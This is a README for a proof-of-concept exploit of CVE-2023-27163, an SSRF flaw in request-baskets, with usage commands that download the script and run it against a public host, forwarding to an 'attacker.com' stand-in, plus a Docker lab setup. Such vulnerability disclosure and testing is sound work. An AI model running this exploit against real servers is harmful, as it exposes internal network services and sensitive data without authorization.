Proof Of Concept of SSRF on Request-Baskets (CVE-2023-27163) This repository contains a Proof-of-Concept (PoC) for CVE-2023-27163, a Server-Side Request Forgery (SSRF) vulnerability discovered in request-baskets up to version 1.2.1. This vulnerability allows attackers to access network resources and sensitive information by exploiting the /api/baskets/{name} component through a crafted API request. Credits to @b33t1e, @chelinboo147 and @houqinsheng (see article). Usage shell wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh bash ./CVE-2023-27163.sh https://rbaskets.in/ https://attacker.com/ How does it work? Request-baskets is a web application built to collect and register requests on a specific route, so called basket. When creating it, the user can specify another server to forward the request. The issue here is that the user can specify unintended services, such as network-closed applications. For example: let's suppose that the server hosts Request-baskets (port 55555) and a Flask web server on port 8000. The Flask is also configured to only interact with localhost. By creating a basket which forwards to https://localhost:8000, the attacker can access the before restricted Flask web server. Testing in localhost Start the Docker container of Request-Baskets shell docker run -p 55555:55555 darklynx/request-baskets:v1.2.1 Download the PoC shell wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh …Read More
Exploit for Server-Side Request Forgery in Rbaskets Request Baskets

